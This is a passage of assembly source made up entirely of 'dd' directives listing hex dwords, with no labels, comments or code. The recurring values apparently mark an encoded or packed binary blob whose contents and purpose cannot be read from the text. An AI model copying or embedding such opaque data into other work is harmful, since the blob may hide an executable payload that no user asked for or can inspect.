632EAAF0h, 368394F4h, 75218E22h, 0FC06ABB8h, 1566223Ah dd 57C0796Eh, 58005ACDh, 9E86C554h, 7D074399h, 0F7FE48ABh dd 15670E3Dh, 0EA9E4432h, 572BB87h, 90EBE434h, 1376B200h dd 1567CC3Dh, 1A932232h, 156616BAh, 14E48732h, 0ED664432h dd 128FF2CDh, 9661132h, 0EBE73283h, 90EF0A1Dh, 137187E4h dd 0B0859052h, 7469C7E0h, 13EA4B52h, 94662232h, 0D92978D2h dd 48FE800h, 0EB664432h, 7399D4BEh, 4AA1C9E2h, 0B9C99D3Dh dd 7865C6F7h, 15662BDAh, 9FDF6A32h, 5352983Eh, 743ED181h dd 0F0E3E453h, 52600111h, 75A4E0CEh, 0ED06F5CFh, 4290A354h dd 0A0997016h, 13769CABh, 157CCD3Dh, 75062232h, 1576F953h dd 94B98832h, 0BF276D1Bh, 0D8C74D9Ah, 0D0CB91DAh, 74385C4Bh dd 2F54C1BFh, 94062422h, 0CB6211D3h, 156F6141h, 79434432h dd 1218A5A2h, 74F28A6Ch, 936958CDh, 1566443Eh, 1560A53Dh dd 92691132h, 15668832h, 0B0BCC1BBh, 1F8F2425h, 0F3661132h dd 0C731910Eh, 0C2B4F27Ch, 0F0E3E441h, 52600111h, 0EB72E0CAh dd 9F699B94h, 15662233h, 8CD3EECAh, 0FC609826h, 15664434h dd 81EB0691h, 90EB6BBAh, 1376B200h, 156EC53Dh, 96692232h dd 15661130h, 0C599E952h, 90EFB8CAh, 137187ECh, 156600DBh dd 0CB045232h, 0B99C26ECh, 37949554h, 0B08B492Dh, 90A0775Fh dd 137667D7h, 0D7E7426Dh, 57DB8B7Ch, 749C373Dh, 45942C5Ah dd 7306D7ACh, 0FC4B8D8Bh, 15668835h, 1DB8C0CBh, 74A7C677h dd 1FFA4CDh, 9E698E22h, 15664439h, 0FBA5A352h, 7330879Bh dd 98077BB9h, 55C76B7h, 78FDB34h, 0C6661132h, 95386264h dd 0F0922F31h, 747EC664h, 57BA40Dh, 75B6776Dh, 9400B4B8h dd 74B947DDh, 0B08494BBh, 9A698E25h, 15664433h, 0CEE2DCEh dd 0FC661132h, 15668826h, 9AEDA42Bh, 0FA24948Ch, 0FE483DAh dd 741F5040h, 648C8F7Ch, 3683A7F4h, 0FC291722h, 15668823h dd 538A0DACh, 0B9F5B909h, 0BE7441DBh, 2B6DE8F0h, 6E592C79h dd 0EA9AE5CEh, 5728887h, 156D6134h, 0B23D4432h, 54C90265h dd 46CF29C2h, 27E305EFh, 0EC605408h, 75B6DDCBh, 156618DAh dd 9B63CA32h, 4335ACCh, 74068E21h, 3E51E69h, 0FC668832h dd 15664423h, 1CBD7380h, 9F6AD53Ch, 90F9A6B3h, 5EE7B538h dd 90EF43C4h, 1371B73Ch dd 1561073Dh, 9D694432h, 15662233h, 0F0E3D7CEh, 52609811h dd 156EC53Dh, 95062232h, 0F6E6E5F5h, 590EE94Fh, 759C1F5Ch dd 15662ADBh, 0B0A95832h, 0F0E70B45h, 14EE4B63h, 0E9662232h dd 8CD3EE53h, 0FC609826h, 1566443Dh, 0F917D368h, 0A479403Ch dd 0BFD72409h, 9889DE4Ah, 55C10B7h, 0C599E934h, 156683DBh dd 2CDE932h, 0AB5A62Eh, 159F17F1h, 0B3740DBBh, 9B694225h dd 15662223h, 15661DDBh, 76842032h, 4D853244h, 62D2BC83h dd 0F0E3D74Ah, 52609811h, 0F3E72252h, 976969B4h, 15661130h dd 0FC074EB9h, 15664435h, 0A7D43DCEh, 7DB748F5h, 0D660ACFFh dd 15664DDBh, 0D5103732h, 3912A20h, 90690C6Dh, 15664436h dd 74B5A852h, 1FFA4CDh, 1A938E22h, 156643B2h, 14ED2D32h dd 0E0661132h, 2F540DBFh, 99694222h, 1566223Eh, 86DF7752h dd 0F0AC091Eh, 741B74AFh, 9C93F2CDh, 2C007B7h, 19E98734h dd 75664432h, 66D0228Dh, 99E3A84Bh, 0D3078824h, 545A1B7h dd 99697D34h, 15661135h, 15670D3Dh, 7D9E4432h, 0C1DD42FEh dd 1575F852h, 0B59E8832h, 82F4233Ah, 33CA98B8h, 186C781Ah dd 1BB6C44Bh, 0AF06259Fh, 2AF57212h, 74B8AE3Dh, 1FF3DCDh dd 0EC064222h, 15E12D61h, 4E661132h, 1DEA8753h, 1A664432h dd 156620B8h, 98077132h, 55CBAB7h, 156FAD34h, 93DD2232h dd 8F5056E5h, 0EA658ECFh, 1561ADE2h, 2EA52232h, 61EB9554h dd 0F3E30176h, 0ED605397h, 3683A7F4h, 0E0391722h, 0FC32C65Ah dd 9669B1ACh, 1566223Ah, 1564983Dh, 74068832h, 1FFF1CDh dd 44062422h, 15669E3Dh, 733C8832h, 980782B9h, 55C10B7h dd 0AB007134h, 0EA077B06h, 936924E2h, 15662232h, 6BBC4389h dd 90EFE964h, 1371E1D8h, 90A0D7CEh, 137632D7h, 198FE86Dh dd 4D664432h, 0BD2F50D7h, 5116CEB6h, 1A1A77FEh, 156647B5h dd 0C3D92D32h, 3D2E7953h, 0EA935921h, 572DD87h, 9E004234h dd 90EB70C8h, 1376B200h, 156657DBh, 0A14E0932h, 727AF9DBh dd 174B0184h, 0E6AEF6BFh, 10B7907Eh, 9F69C1CDh, 1566883Dh dd 15664EDBh, 3F9CBA32h, 33637B16h, 9CADEFE5h, 2C3AAB7h dd 156ACB34h, 54C61132h, 0BFD21B71h, 58B2939Fh, 110CB21Eh dd 0EA89052h, 9E292F6Bh, 420625F1h, 1566A63Dh, 0FC3E1132h dd 1566883Eh, 30817EDFh, 3230441Fh, 9B3951C9h, 566E053h dd 188F4432h, 0D5662232h, 0F2695086h, 0E1E04E52h, 12806A24h dd 156EAB3Dh, 73061132h, 7505A48Bh, 150E2553h, 0ED662222h dd 0EA931158h, 57AEDA7h, 75362434h, 1F8E7A53h, 35661132h dd 0BA32BB1Fh, 8C77FF07h, 156BCBBEh, 69B21132h, 9701B07Ch dd 0F389A46Fh, 4F7FB144h, 12ED1E53h, 1A668832h, 156645BDh dd 90EFDB32h, 1376219Bh, 157E0A3Dh, 68F4432h, 36662232h dd 0D543A147h, 0F1A61099h, 97BB69E0h, 0F9252E19h, 90EB8452h dd 1371D6F0h, 0D6ED2252h, 0EA072281h, 1576F8E2h, 0A9348832h dd 0ED891606h, 0A5247369h, 9485849Ah, 110CDB77h, 5662CC7h dd 9F692232h, 15661124h, 156699DBh, 1478D632h, 0DE24981Ah dd 0FAF6F5BCh, 46A9CF24h, 150EEED9h, 0EC662212h, 95691158h dd 1566882Bh, 156650DBh, 69ABAF32h, 79A90B83h, 0DFBCECB0h dd 0EB2E44B4h, 470B1422h, 70F3EE7Ch, 0ED60982Eh, 1F43C1BBh dd 1A8F2422h, 0CD661132h, 462AAA33h, 0E670C724h, 684E2870h dd 90EF9EF8h, 137683A7h, 0E0262ECBh, 1576225Ah, 1575F832h dd 0ACDE8832h, 0CB4D20ABh, 0A513297h, 4596B835h, 191DA101h dd 15662C81h, 1A062233h, 156613B9h, 1A3FD832h, 156647BCh dd 1B8A232h, 0EC667B53h, 9031DCDh, 0FD064222h, 1566223Eh dd 3494B5FBh, 0DEBBA49Ah, 0BC02A361h, 8DA8A354h, 0F3E7484Ah dd 4824672Eh, 6CE3CD53h, 0FC603220h, 1566113Ch, 0B2D615Bh dd 9BF5F9AAh, 259045EEh, 0A0EDDCB8h, 1376A7F7h, 156CAD52h dd 82632232h, 0ACAA0FE5h, 2EC82CB7h, 156DAC62h, 37CA2232h dd 0A455697Bh, 390FEAD5h, 743F1B9Eh, 14FBA9CAh, 1A60011Dh dd 156689BDh, 0A0EFB832h, 13762D23h, 15661FDBh, 84AAFE32h dd 0CEAE6EC4h, 4360F404h, 9C3C85B5h, 57651AFh, 19E94B34h dd 1A662232h, 156617B8h, 15EE8732h, 9E664432h, 54923AFh dd 14E91E34h, 0E0668832h, 21E777CDh, 96362B16h, 316A9A36h dd 15624CB3h, 0E4E74432h, 11E5723Bh, 1561963Dh, 95698832h dd 15664433h, 159FA1CAh, 2C56953Dh, 45068832h, 733F1E60h dd 7D07E0B9h, 15667C75h, 1A428CBBh, 156647B5h, 749E4232h dd 1561705Ah, 316A0132h, 156641DBh, 302DEC32h, 7506713Bh dd 0D66357B3h, 0D2E73A0Ch, 6BC01014h, 1AA62053h, 156680B3h dd 0AF002432h, 25D06CEEh, 60E39853h, 0E9609826h, 18632C61h dd 9ED4ED9h, 11A29016h, 5E668832h, 0DC8DC571h, 9C0AC93Eh dd 94694AECh, 1566883Bh, 0DBE72252h, 2ED2A582h, 0A833E953h dd 4D62870Ch, 719981B3h, 0FB4F0591h, 3112126Fh, 28A00912h dd 1A19E346h, 15662EB6h, 13E81E32h, 1A668832h, 156644B2h dd 94374232h, 29E769E1h, 7307D349h, 1DE94B9Fh, 1A662232h dd 156613B6h, 3807E832h, 1FB908F1h, 6B6D7F1Fh, 31221211h dd 1E3B8D12h, 0D663674Ch, 756CFD7Eh, 0AC19F1B3h, 9769B3A2h dd 15664434h, 0AE6EECB3h, 0EA076754h, 21E7F042h, 0BE4DAF16h dd 0AA317C64h, 43CD3AD9h, 0E9397603h, 676A82B3h, 0FBE70D57h dd 21E76C39h, 3542FC31h, 686D82B3h, 0FBE716B3h, 3A03633Eh dd 156682DBh, 9871E632h, 0CD3C69C7h, 45AB3063h, 1566908Ah dd 9E964532h, 3162A90Ah, 1562D5B3h, 18F8832h, 0DC664432h dd 0BE6BFECEh, 46364105h, 23A2E0A8h, 6F4CFC5Bh, 9C8070C7h dd 574C08Fh, 14E88734h, 0E0664432h, 9069DDB7h, 1566110Fh dd 156682DBh, 0DE266332h, 3F74E26h, 0FC1EE133h, 1566883Ch dd 1F667CD3h, 305D3ADCh, 0A14B420Bh, 0E78ECDEEh, 0EC66446Ch dd 1562C8DBh, 99697132h, 15668830h, 0DBE71D60h, 6E8DD6B9h dd 0F4EF4053h, 156249B3h, 0FCE54432h, 316AA536h, 316A986Eh dd 74BC0852h, 1ED1353h, 11A2A116h, 15619C3Dh, 9F068832h dd 0D4D14BC3h, 11B44953h, 1561973Dh, 91698832h, 15664433h dd 1563CBC7h, 0C8E91132h, 9C9D018Eh, 54B11A7h, 0FDEC4234h dd 110C70CAh, 15670A3Dh, 75934432h, 1AB9A952h, 7307DF85h dd 1C1D41B3h, 5662C53h, 0FD062232h, 1566113Dh, 0E98C74FDh dd 295D65C5h, 4AD7592Eh, 73A0FDFBh, 9F9E53B3h, 74B6CF6Bh dd 1504095Ah, 31729832h, 15669BDBh, 8F440B32h, 2DE99773h dd 4487411Ch, 50CC349Ah, 4B7652FCh, 1A062258h, 15661EB1h dd 156F6032h, 0FAF64432h, 46A96524h, 4DDCBBD9h, 6E78753h dd 0FC664432h, 1566223Ch, 0A37FEC0Dh, 6DA1A309h, 76062EA3h dd 8099945Eh, 13760D57h, 156680DBh, 0BB89BC32h, 2B32D63Eh dd 50E398ECh, 0FC609801h, 1566443Fh, 413FC2A5h, 26EE023Fh dd 93E855F3h, 118AC73Eh, 9C423EBBh, 4EBC98F1h, 7406DB52h dd 156CAD6Bh, 50672232h, 17635FE1h, 621D62C7h, 316ACF53h dd 9480AB64h, 156615F4h, 11A00B32h, 494270B5h, 156631DBh dd 81B07532h, 19F1DC29h, 37196DBDh, 5D9B1E18h, 0F7038A67h dd 153B0CDAh, 0E30EB132h, 9C662200h, 0B89A3506h, 0DBEDEE52h dd 2A6A4153h, 5165202Fh, 0AC373516h, 54DE2C8h, 4F2A5B3h dd 0D4E77A39h, 4ADD54E6h dd 94BF7F73h, 3311D9FBh, 78A7A348h, 3C61CC0Dh, 0AD06D1FAh dd 50AE5DC4h, 7494A954h, 249E20CBh, 1A9EB9F5h, 156645B2h dd 9C36D732h, 9EA598CAh, 0D1E7AC36h, 15664436h, 1573A93Dh dd 58F1132h, 0C9668832h, 517B0580h, 0A03448A9h, 0E532B760h dd 7DF85B67h, 156609D0h, 0FC421EBBh, 15661137h, 0F1287835h dd 0E9A67462h, 0E8138CC7h, 156617DBh, 0F9041832h, 0FC7BA023h dd 15662239h, 0AAFF7385h, 4993AC79h, 9E216638h, 9C330606h dd 11A390D7h, 94668832h, 156640F7h, 314AA532h, 51D9716Eh dd 4533EA36h, 94071CCAh, 352817F5h, 7E89901Dh, 3C748432h dd 7EA1C5EDh, 94742E32h, 352824DDh, 9C357D1Dh, 11A5C5D1h dd 96662232h, 9E115D9h, 1EFD416h, 2E04B16h, 1A662232h dd 156600B8h, 156A6132h, 0E8B24432h, 33A55D22h, 366EED07h dd 91694F0Dh, 15664420h, 15662FDBh, 0C1975632h, 0C7DC9045h dd 9C75D861h, 0F9E75192h, 15661136h, 4F42B4BBh, 156CC23Dh dd 94062232h, 0B60345C3h, 74BF0323h, 25CFF9B9h, 1E8F2422h dd 0D7661132h, 0DB0DC51Fh, 7A42B16Eh, 0EADF80DFh, 0E999EECDh dd 188F4803h, 15664432h, 2671CA28h, 0A64D36F4h, 0CBD3BEDAh dd 15DF1561h, 9C662232h, 0E66748F9h, 1A3D8BB8h, 15664EB0h dd 1563CB32h, 27641132h, 25CBE07Bh, 14E34BFAh, 0E9662232h dd 0EA99AE65h, 0EB4F77CDh, 2199B86Dh, 3162A9B5h, 1562D5B3h dd 0D49E8832h, 24934CDBh, 1563CBF3h, 0C4D21132h, 5FC3FF85h dd 0EAF0C13Dh, 0AD06DDCDh, 76A82F07h, 74AF3F3Dh, 9C62A8B1h dd 0ED3E063Eh, 0E28C96A0h, 878C0FE7h, 11EE4B52h, 73662232h dd 1A1A888Bh, 15668DB3h, 0FFE72232h, 0EA07B955h, 963C3506h dd 459E8CF6h, 464240B3h, 9A2BE64Ah, 0B5D84730h, 5341D52Ch dd 63E68AB3h, 0F3E73795h, 7C324519h, 0FBE756C5h, 858177BEh dd 1A38101Bh, 15661DB5h, 13ED8732h, 1A664432h, 156622B5h dd 11DE4132h, 94668832h, 0C76D53F0h, 94A4232Eh, 0C76D06D8h dd 469ED02Eh, 0D6E7A7BBh, 15662236h, 1562FAB3h, 9E18832h dd 1EF1816h, 9099DE16h, 13760547h, 15670A3Dh, 9E9E4432h dd 57257A7h, 7EF1E34h, 0FC668832h, 1566443Fh, 0B58DB369h dd 1148B537h, 4DEEBAE9h, 0C4F37D6Eh, 1A603220h, 156690B6h dd 9400E832h, 1AC220EAh, 156627B1h, 0C6E77732h, 0EA07F471h dd 963C6006h, 9E9E26F6h, 9C343506h, 11A409D0h, 96664432h dd 1E126F0h, 1A064D16h, 15668EB0h, 15E44B32h, 1A662232h dd 7D07E685h, 1566BAC0h, 0AF4250BBh, 15662236h, 0FC3CC733h dd 15668820h, 0CA2AAAC4h, 87F2FDBAh, 0FC703A4h, 0F704BEEDh dd 0AD066897h, 786DB473h, 7419E2B2h, 0EA9A69DBh, 156EADCDh dd 0BF302232h, 6FFE84D5h, 1EDEF49h, 0F7EF1616h, 1562E0B3h dd 0D7E51132h, 31720F36h, 0EBEC246Eh, 156629DBh, 8D945432h dd 0F3A53753h, 4594C9F0h, 3152DD53h, 11A2926Ch, 156699DBh dd 0DFDF7F32h, 0F11D2311h, 53CF149Dh, 0E8CD2BACh, 91696A1Fh dd 15662239h, 156617DBh, 1189A632h, 7459C4F8h, 1569A43Dh dd 1F8F1132h, 0BE668832h, 0E8C1D5EDh, 0DAED8243h, 14E81E65h dd 0ED668832h, 444248B9h, 0D4E7C3BBh, 15661136h, 156249B3h dd 19E14432h, 90697E16h, 15661135h, 15670E3Dh, 759F4432h dd 62BC6D8Bh, 10E11E5Dh, 0AC668832h, 6F52897Ah, 3162A953h dd 94839867h, 15668CF7h, 11A3C732h, 49420EB5h, 156616DBh dd 7030CC32h, 5FE39BCDh, 3F7BA7F5h, 15661722h, 1B8F8832h dd 0A2664432h, 71BE75DDh, 559B154Ah, 5E39EB73h, 0B8E38336h dd 15603226h, 0ED661132h, 0B03035B1h, 1A664225h, 15661AB6h dd 88EBE432h, 1370390Fh, 1572C63Dh, 1A8F2232h, 0B2661132h dd 0CF4DF8FEh, 0ED670A45h, 659167DFh, 0C699859Eh, 156698DBh dd 0FE6D9F32h, 0DA373C10h, 9D32AF0Fh, 96802A88h, 60E3BB94h dd 1A603215h, 156619B4h, 9A69E832h, 15664432h, 60DBA153h dd 71600115h, 17AF0A3Dh, 45064432h, 1A3D7861h, 0D207D885h dd 541FDB7h, 15664534h, 0FE72D32h, 1A661132h, 15669CB0h dd 1569AD32h, 0CA912232h, 0F716BCBFh, 2DFE3B69h, 276C88B3h dd 1B8F4273h, 0E9661132h, 0C0186D7Eh, 11DE37B0h, 0DE0E058Fh dd 0E1E39CCEh, 75609F4Ch, 156654DBh, 0DD380032h, 0FA65F53Dh dd 0C316E971h, 450D8BAh, 0C59943BCh, 4F3771C7h, 33D30553h dd 0E9605394h, 1572A43Dh, 9B691132h, 1566883Ch, 15664DDBh dd 0D8B4E632h, 0B581DE29h, 0A8EB49D3h, 137E7469h, 47DE72C7h dd 147EA604h, 0E24FD0F5h, 2334ABB3h, 1F8F3A85h, 37661132h dd 6FAECBFAh, 0B0F26C39h, 5E94A1Ch, 9EF1132h, 9C9D0116h dd 9E9F1FE8h, 5568B8Fh, 0EBED7134h, 156698DBh, 84251B32h dd 813199B1h, 5DCB8458h, 0EC673957h, 0EADF25CBh, 7599DDCDh dd 0BDD5A954h, 743E7D60h, 0FCA675CBh, 1566223Ch, 377D8B0Eh dd 40CF9A5Ch, 99E9EF0h, 45375D65h, 0FF4E9A5Ah, 4D6BD04Ah dd 0C407864Ah, 43D32FD2h, 5C637084h, 9C6A813Ah, 0E4671CF3h dd 1A3F23B8h, 156616B5h, 14E88732h, 0E0664432h, 9969EA02h dd 1566113Ch, 156681DBh, 2B364132h, 85BE5110h, 47305741h dd 9224D26Ch, 0FD9F24E4h, 15662226h, 0CD950542h, 0BA30822h dd 0FA79CBE0h, 7B551DDDh, 9A862CC3h, 74394481h, 4DE170CDh dd 156DCA52h, 74AA1132h, 0E75F0A59h, 39DC4E56h, 749A78E5h dd 756EF8F3h, 5063A58Dh, 45DE2218h, 0D4574323h, 90695BCEh dd 0EA997763h, 156656DBh, 0FB2A4D32h, 5BB343F8h, 82174285h dd 1BF39151h, 7D26AFAAh, 15660DF7h, 4D4284BBh, 156654DBh dd 66A94532h, 762DAD65h, 54936B5Bh, 0C572ABCCh, 19172B4h dd 31629A16h, 0FC624CB1h, 15664423h, 0FD908D4Dh, 0D9891B1h dd 35A46359h, 18D7FD52h, 70E31B1Ch, 1A600111h, 156638B6h dd 1575AD32h, 6E1D2232h, 0BE3886B4h, 0C70B15Ch, 0F82A40ABh dd 3EB4C0C3h, 15D8474Eh, 9C668832h, 3152CFC2h, 1562E6B3h dd 9F691132h, 15668833h, 1AA64FCAh, 15661FB7h, 94007132h dd 0FD881BD5h, 1566443Ch, 478E8D23h, 0A05B7589h, 1C36CEA1h dd 9E002DD7h, 0D2077DC9h, 56084B7h, 15668934h, 1576AD32h dd 46FD2232h, 369D7905h, 7E37F72h, 0F31989BCh, 473336B4h dd 6D0DC888h, 4FB3012Ah, 0F88781B3h, 0FC67C58Ah, 9669716Fh dd 15668834h, 0CCF79FB3h, 48E4C67h, 89661132h, 0F58F94D8h dd 0E78C9689h, 5A29B305h, 0B4192AFh, 4A980354h, 18F2553h dd 0B6662232h, 0C42109A8h, 2A925D72h, 631AD89Ch, 0A35C306Bh dd 46C4CED4h, 6BBF7A89h, 21E71772h, 0C17ACE16h, 0E4E7484Fh dd 68B294DEh, 1576AD69h, 0A6672232h, 0B2E17E6Ch, 153C6F1h dd 1DC414h, 0AE353DB1h, 229008A1h, 0C6915BC5h, 0E260AFF3h dd 87DB77E1h, 0D44EF07Ah, 0D8E780D7h, 74C91DD0h, 0F0A7FFC5h dd 0A8A3903Ah, 3C3159C0h, 0FEE719D9h, 69E1C3D3h, 0E03DCBBBh dd 156682DBh, 0C9BDBA32h, 0B736FB10h, 0B8750D66h, 15710C3Dh dd 73064432h, 0FDC8838Ah, 15661139h, 3E71D866h, 9FA32031h dd 4C653672h, 4D39853h, 1A60983Dh, 156657B2h, 1568CB32h dd 35301132h, 0B5A5E986h, 9CA9B9DFh, 6DD11E36h, 20DE4167h dd 20704713h, 27DC57C1h, 943EE7BBh, 0EC4E29F7h, 0C4830964h dd 0D4059A2Eh, 0F8A726DFh, 0FF8B9034h, 94007746h, 0C38D8C7h dd 0E908ABABh, 9E00716Fh dd 0FB5BE9CCh, 1A88AADCh, 156682B7h, 12E51E32h, 1A668832h dd 156645B0h, 2BE7DB32h, 0C8BBCCEFh, 15E10D3Dh, 40934432h dd 0F0381F8Fh, 0D660D63Dh, 44969293h, 1566448Bh, 14972332h dd 0E93B481Bh, 15623361h, 0D3E74432h, 2E7B4220h, 0FBE7CF33h dd 2E7BE820h, 6E94B69h, 0FC662232h, 1566113Ch, 66DA173Dh dd 87F73400h, 9BC43023h, 0A0EFB4EFh, 13768723h, 156CC13Dh dd 9E062232h, 15EF1EE4h, 74668832h, 154A16DBh, 1FEC2D32h dd 75661132h, 15660A3Dh, 68D54432h, 0EBE7CB53h, 1F8FEECDh dd 7B668832h, 0E9A42B01h, 7E69375Dh, 118A90B2h, 9C668832h dd 0FC3D6036h, 1566223Ah, 0DC0FC8BFh, 0BAF79F34h, 13F3C101h dd 0D49F2422h, 0E00612FAh, 74A6373Dh, 51572B1Fh, 42B60B59h dd 51577E8Dh, 4A9E8959h, 156649DBh, 0BBD5F332h, 6FC8243Ah dd 7D770083h, 0D5A7F837h, 0CBED4222h, 0DD5770CAh, 156682DBh dd 86205032h, 1F89F69Bh, 9C3B54E1h, 5601DAFh, 155BB134h dd 1A662332h, 1567C3B1h, 0C6E7E832h, 41013D1h, 9407F2B9h dd 0AEDDAA0Ch, 0A9E38789h, 0E0664433h, 15662FDBh, 416B3632h dd 0C3589423h, 0D120FB8Ch, 0AF3419B6h, 15661132h, 7D377A33h dd 5469Ah, 14AFA36Bh, 9474916Ah, 0F63C21DBh, 4C6CCD25h dd 1EED2D68h, 0FC661132h, 15668834h, 79052458h, 0A8335284h dd 15661136h, 41DC4EB3h, 0FB675A7Fh, 41DCCCB3h, 0ED3B0F7Fh dd 1A773DBBh, 1A064222h, 9400EC85h, 7470F5C1h, 0CBD98752h dd 9E07AFB8h, 54923AFh, 2699E834h, 5B42A4B3h, 4C05E91Ch dd 3B289D65h, 0EC67729Fh, 739AE86Dh, 527EB2B3h, 130EDA53h dd 9C661120h, 11E7AC36h, 63612716h, 0FFE77868h, 4F101651h dd 46D7E852h, 15664DDBh, 0FACFDE32h, 4755927Bh, 740758F6h dd 9434B152h, 276C061Eh, 11ED23CBh, 11A20B16h, 0EC544E37h dd 0AF004200h, 0D2EDBE81h, 0F8E3A353h, 0FC605413h, 15662223h dd 582FC03Ch, 215D51FDh, 37A25071h, 751F0BC3h, 1786D02Ah dd 60E38BCAh, 0FC605436h, 15662238h, 0EC2D13B9h, 38186561h dd 3D0E3443h, 9C662260h, 4D303536h, 1FE0876Ch, 75664432h dd 92697963h, 15661132h, 0FC062553h, 1566443Eh, 0ABCFCFE6h dd 7625C01Ah, 0DB5E2713h, 15664BDBh, 0F286C32h, 4B029784h dd 0BFA024E8h, 703B7D05h, 0AB30DE53h, 0CF23039h, 5B6466F3h dd 1488C57Ch, 0D44FFC24h, 0D3E719D4h, 68027E0Dh, 1438B433h dd 20590FFAh, 0AC061565h, 7491B7E6h, 3122CD53h, 1569CB2Eh dd 7A6F1132h, 0D46053CAh, 1DA40708h, 0ED036B8Bh, 1A067023h dd 9E694885h, 15664434h, 1566A73Dh, 0FC071132h, 15668B11h dd 15664EDBh, 5AB9CB32h, 0DA0ABB9Fh, 47DC249Ch, 0D7E7A6BBh dd 15662236h, 1562FBB3h, 1E18832h, 19EF1816h, 14EF2D16h dd 0E0661132h, 94830167h, 156640F7h, 118BA332h, 92661132h dd 9C3AAC1Eh, 1F8F6026h, 0FC662232h, 0FC76067Dh, 8203366Eh dd 1AAF7505h, 156623B3h, 80EDE432h, 1376BB77h, 1568CF3Dh dd 1C8F2232h, 8D661132h, 2C79C1F1h, 2883E107h, 43DF4452h dd 2ADF77B5h, 175DE942h, 15BEC03Dh, 73062232h, 0B766DEB3h dd 11D9DF53h, 94664432h, 0E34A20F0h, 949C102Eh, 0E34A8AD8h dd 48F1B2Eh, 91662232h, 9484F7D1h, 558CD064h, 0BBE8586h dd 0F89D507Dh, 156D9F3Dh, 138F8832h, 74664432h, 0C05F5D34h dd 14D847D1h, 14668832h, 2E9A1AC3h, 574F3BFh, 8AE31E34h dd 0FC9977CDh, 15664439h, 8D0F7492h, 7A6D9E2Ch, 46F2B658h dd 0C03E6789h, 12A5A37Ch, 943AA562h, 0FE62C9C1h, 6C95C502h dd 945D925Fh, 0C7A703D9h, 9EBE0192h, 0D1E5602Eh, 9E694236h dd 15661122h, 156683DBh, 6B30BB32h, 0B9C4DA72h, 53D17BDCh dd 1567003Dh, 74934432h, 15662DDBh, 3CECA32h, 0A61C2888h dd 0A1344BBh, 0C6D35F87h, 5BE39CBFh, 0EA9A8E22h, 12ED4BD3h dd 75662232h, 0A269C585h, 98EFE9F8h, 13765047h, 3152DDCBh dd 11A29268h, 156686DBh, 46CA5932h, 280996C4h, 0E81DF9ACh dd 9E43D7CFh, 9C34603Eh, 11A4A3D0h, 96661132h, 1E18CF0h dd 42931816h, 0D2E7C5BBh, 15661136h, 926267B1h, 9C3A600Eh dd 9E9F0606h, 54910AFh, 14E98734h, 0EC664432h, 1571A13Dh dd 78F1132h, 60668832h, 0EC43BFD8h, 9E1E5397h, 9F2DD435h dd 40B1FC24h, 15DC1652h, 14662232h, 9E6C9AE8h, 0D1E5AC26h dd 14E74B36h, 0E9662232h, 11394B9h, 9C698E22h, 1566443Dh dd 156628DBh, 50E96932h, 87A28C63h, 0C474B7D4h, 0AC0042D2h dd 0CADC6F23h, 74795DE3h, 3F13C131h, 249E2422h, 14E01EC4h dd 0E9668832h, 1573CF3Dh, 58F2232h, 71661132h, 1F6E65FFh dd 0ED68F154h, 585F6542h, 2406500Dh, 24A0B9C2h, 9C6924C2h dd 15662236h, 0EAC1AB54h, 75CBEE53h, 0DC27FE54h, 156633DAh dd 66BC4E32h, 9CB18042h, 9331694Eh, 5DE6FF79h, 108E534Ch dd 4668832h, 41EDA3F2h, 0E0077C6Ch, 1A64F1F3h, 15668FB9h dd 14ED4B32h, 0E0662232h, 11139431h, 58F8E22h, 91664432h dd 3097C432h, 3B228B05h, 0BD85CE56h, 24341C5Ch, 24A013C2h dd 78F71C2h, 0F668832h, 20C34131h, 95CADE8Bh, 0C892B273h dd 0D348BE31h, 58F1406h, 25662232h, 781B8CABh, 0E8B24F35h dd 33A53B22h, 4B6EDE07h, 109ABC53h, 291EA526h, 0AB308C33h dd 49163338h, 0FBA75F74h, 0EAA80930h, 94579F03h, 8D9137F4h dd 4B963836h, 156D033Dh, 138F4432h, 3F662232h, 0E8A2942Bh dd 315277B2h, 11A2C56Ch, 0FC662232h, 15661135h, 52179229h dd 9602C592h, 57AB78Fh, 91691034h, 156688C9h, 14EC4BC7h dd 0EC662232h, 1FF9C09h, 91698E22h, 156644D5h, 0E2D12D52h dd 6E36C2B3h, 2E07C7D6h, 546A1BFh, 0C5E22D34h, 0FC661132h dd 15668826h, 6C1B55A5h, 0C3258C6Eh, 4DD73BDBh, 0C75F2A0Dh dd 38191E22h, 3B07AF09h, 91691722h, 15668899h, 3CFBC9CBh dd 1A603A36h, 156600BFh, 156A6132h, 0C4924432h, 25DB2D45h dd 7AC2B5F9h, 0C699795Fh, 1568CD3Dh, 1C8F2232h, 0F2661132h dd 610C253Dh, 307667B9h, 3162A362h, 27FD010Ch, 0D3DBDD6Dh dd 94268C71h, 44665BF7h, 0AD939038h, 0C471C376h, 94BBB3D7h dd 0F01AE3F7h, 9893902Dh, 3C335259h, 1B8F19DDh, 57662232h dd 0EA98E2Ah, 0D240FDF3h, 8A71B03Fh, 84E3AB46h, 1A600113h dd 156689BDh, 358FBD32h, 1A662212h, 15660FB7h, 0DEB8732h dd 0FC664432h, 15662221h, 0E9177060h, 55D19C16h, 0B3293689h dd 6E24A87Dh, 9885CB5Dh, 0D62A1AFh, 0C699BC34h, 156636DBh dd 5BD0C332h, 8CEEC120h, 40A500B7h, 0A51B9C96h, 0C053780Fh dd 80DB0B25h, 1560542Eh, 153FA63Dh, 188F1132h, 74668832h dd 33C170BDh, 40BDDF53h, 0E996543Eh, 3CE3B3CBh, 1A60543Dh dd 15660AB6h, 0A5D57132h, 15668EDBh, 0DA4DC732h, 7489D8C5h dd 0F039409h, 90698E22h, 1566442Dh, 1561A73Dh, 9C691132h dd 15668833h, 0EBBDADC7h, 1A06DDCDh, 156614B5h, 28E43032h dd 2E0763AEh, 57263B7h, 7FE31E34h, 1A668832h, 156650BCh dd 1569CB32h, 0F9B61132h, 0A6BA126Dh, 0C8CE4C79h, 0FA7F069Dh dd 1CDB920Bh, 15609810h, 1579C03Dh, 96692232h, 15661133h dd 10DB0BC7h, 15605439h, 1549A63Dh, 94061132h, 767B26E9h dd 0EDD94B0Ah, 97E3AF53h, 7560064Dh, 4DCB3054h, 74B8CF54h dd 0EA984ADBh, 156DF8CDh dd 32CC8832h, 0C91FB9EDh, 9C0C226Ah, 54E32A9Bh, 1A609826h dd 0EA9808B6h, 156BCBCDh, 0F81D1132h, 8619E804h, 6D2BAC42h dd 96C48FC5h, 2C32B8Fh, 90698934h, 1566440Ah, 156636DBh dd 0B25CBC32h, 8AF7AFAEh, 0E42A0CFCh, 0D98258E1h, 7F98532Dh dd 7BE3B355h, 1A605397h, 156631B7h, 90EBE932h, 153F83D6h dd 0EB48ADC7h, 0ED06DDCDh, 